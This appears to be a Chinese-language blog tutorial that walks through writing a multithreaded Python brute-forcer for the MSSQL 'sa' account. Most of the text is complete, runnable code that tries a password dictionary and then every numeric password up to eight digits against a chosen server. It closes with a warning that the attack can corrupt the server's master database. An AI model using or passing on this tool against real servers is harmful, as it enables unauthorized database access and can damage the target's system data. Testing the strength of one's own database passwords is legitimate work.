一、编写密码测试函数
在用python连接mssql数据库的时候,通常会使用pymssql模板中的connect函数,格式如下:
connect(server,user,password,database)
help文档的函数介绍:
connect(...)
Constructor for creating a connection to the database. Returns a
Connection object.
正常情况下,如果输入正确的server,user,password和database参数,该函数会返回一个数据库连接对象,而输入的参数是错误的信息时,则会报错,并返回各种错误提示。
所以倘若使用循环语句,将所有可能的密码字符串传递给connect函数,并配合try...except...就可以达到破解mssql一个指定账号的密码的目的了。
1 def cracker(server,pswd_list): 2 for pswd in pswd_list: 3 try: 4 conn=pymssql.connect(server,'sa',str(pswd),database='master') 5 print(u"服务器%s 账号sa的密码为 : %s\n" % (server,pswd)) 6 conn.close() 7 break 8 except: 9 continue
如上代码:server为mssql服务器的地址,pswd_list为密码字符串列表。
二、生成密码列表
遍历所有可能的密码,既不现实也太花时间。
所以这里考虑的方案是
- 1、首先基于密码字典进行破解
先尝试网络上流行使用的各类常用和简单的密码。
1 def get_pwlist(): 2 pwlist = [] 3 with open('passwddic.txt','r') as f: 4 for line in f.readlines(): 5 password = line.strip('\n') 6 pwlist.append(password) 7 return pwlist
- 2、在密码字典没有匹配到正确密码的情况下,尝试从1位到8位,遍历所有的数字组合。
一个简单的方案就是使用range(1,100000000),将1到100000000间所有的数值作为密码就行尝试。
三、开启多线程
虽然目前缩小的密码样本空间,但是通过循环遍历这些密码还是要花费太多的时间。
所以这里需要利用模板threading使用多线程同时测试这些密码,大幅缩减遍历所有密码所需时间。这里需要解决两个问题:一方面,我们需要把密码列表根据分配的线程数平分给各个线程。另一方面,需要设置一个变量tag,初始设置成False,当一个线程找到正确密码的时候将该变量更改为True,这样其他的线程就可以根据这个变量提前结束运行,不再做不必要的测试。
全部的代码如下:
1 #!/usr/bin/evn python 2 #-*- coding:utf-8 -*- 3 ''' 4 Created on 2018年11月19日 5 6 @author: jinfeng 7 ''' 8 9 10 from threading import Thread 11 import time 12 import os 13 import pymssql 14 15 16 def cracker(server,pswd_list,no): 17 global tag 18 19 print(u"No.%s号线程已开始运行,对%d个常用密码进行测试 !" % (no,len(pswd_list))) 20 for pswd in pswd_list: 21 if not tag: 22 try: 23 conn=pymssql.connect(server,'sa',str(pswd),database='master') 24 print(u"No.%s号线程运行结束 !\n 服务器%s 账号sa的密码为 : %s\n" % (no,server,pswd)) 25 tag = True 26 conn.close() 27 break 28 except: 29 continue 30 else: 31 break 32 33 #print(u"No.%s号线程运行结束 !" % no) 34 35 36 def get_pwlist(): 37 pwlist = [] 38 with open('passwddic.txt','r') as f: 39 for line in f.readlines(): 40 password = line.strip('\n') 41 pwlist.append(password) 42 return pwlist 43 44 def main(): 45 global tag 46 tag = False 47 server = '127.0.0.1' 48 num_thread = 10 49 time_start = time.time() 50 pwlist = get_pwlist() 51 step = len(pwlist)//num_thread+1 52 for n in range(num_thread): 53 t1 = Thread(target = cracker,args = (server,pwlist[step*n:step*n+step],str(n+1),)) 54 t1.start() 55 t1.join() 56 57 if not tag: 58 print(u'密码字典测试完毕,未找到匹配密码,将遍历测试8位以内所有数字密码!') 59 for m in range(10): 60 t2 = Thread(target = cracker,args = (server,range(m*10000000,(m+1)*10000000),str(m+1)+'+',)) 61 t2.start() 62 t2.join() 63 time_end = time.time() 64 time_use = time_end - time_start 65 print(u'用时 %d时%d分%d秒' % (time_use//3600,time_use%3600//60,time_use%60)) 66 67 68 if __name__ == "__main__": 69 main()
运行结果如下:
警告:高密度频繁访问mssql的数据库,有可能让数据库的主服务崩溃(master数据库文件损坏),所以最好提前备份好数据库中的系统数据库(先停止mssql主服务,备份master.mdf和mastlog.ldf两个文件)。系统数据库崩溃后,如下图,错误代码3417。否则只就能从其他地方复制master.mdf和mastlog.ldf来替换本地损坏文件。